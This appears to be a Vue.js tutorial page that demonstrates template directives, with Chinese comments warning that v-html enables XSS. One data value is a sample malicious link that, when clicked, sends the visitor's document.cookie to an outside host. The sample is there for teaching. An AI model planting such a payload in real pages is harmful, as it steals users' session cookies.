<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
    <style>
      [v-cloak] {
        display: none;
      }
    </style>
    <script src="./js/vue.js"></script>
  </head>
  <!-- 
  
						v-bind	: 单向绑定解析表达式, 可简写为 :xxx
						v-model	: 双向数据绑定
						v-for  	: 遍历数组/对象/字符串
						v-on   	: 绑定事件监听, 可简写为@
						v-if 	 	: 条件渲染（动态控制节点是否存存在）
						v-else 	: 条件渲染（动态控制节点是否存存在）
						v-show 	: 条件渲染 (动态控制节点是否展示)
				v-text指令：
						1.作用：向其所在的节点中渲染文本内容。
						2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

				v-html指令：
						1.作用：向指定节点中渲染包含html结构的内容。
						2.与插值语法的区别：
									(1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
									(2).v-html可以识别html结构。
						3.严重注意：v-html有安全性问题！！！！
									(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
									(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
        v-cloak指令（没有值）：
						1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
						2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
        v-once指令：
						1.v-once所在节点在初次动态渲染后，就视为静态内容了。
						2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
        v-pre指令：
					1.跳过其所在节点的编译过程。
					2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

   -->
  <body>
    <div id="root">
      <div v-text="name"></div>
      <div v-html="str"></div>
      <div v-html="str1"></div>
      <h2 v-cloak>{{str2}}</h2>
      <h3 v-once>a的初始值是:{{a}}</h3>
      <h3>a现在的值是:{{a}}</h3>
      <button @click="add">点我a+1</button>
      <h2 v-pre>Vue很简单！</h2>
    </div>

    <script>
      //创建Vue实例,得到 ViewModel
      const vm = new Vue({
        el: '#root',
        data: {
          name: 'hello,World!',
          str: '<h3>你好,java!</h3>',
          // 会把浏览器上的cookie都已参数的方式传给目标网站
          str1: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击有惊喜</a>',
          str2: 'hello javascript',
          a: 1,
        },
        methods: {
          add() {
            this.a++;
          },
        },
        computed: {},
      });
    </script>
  </body>
</html>
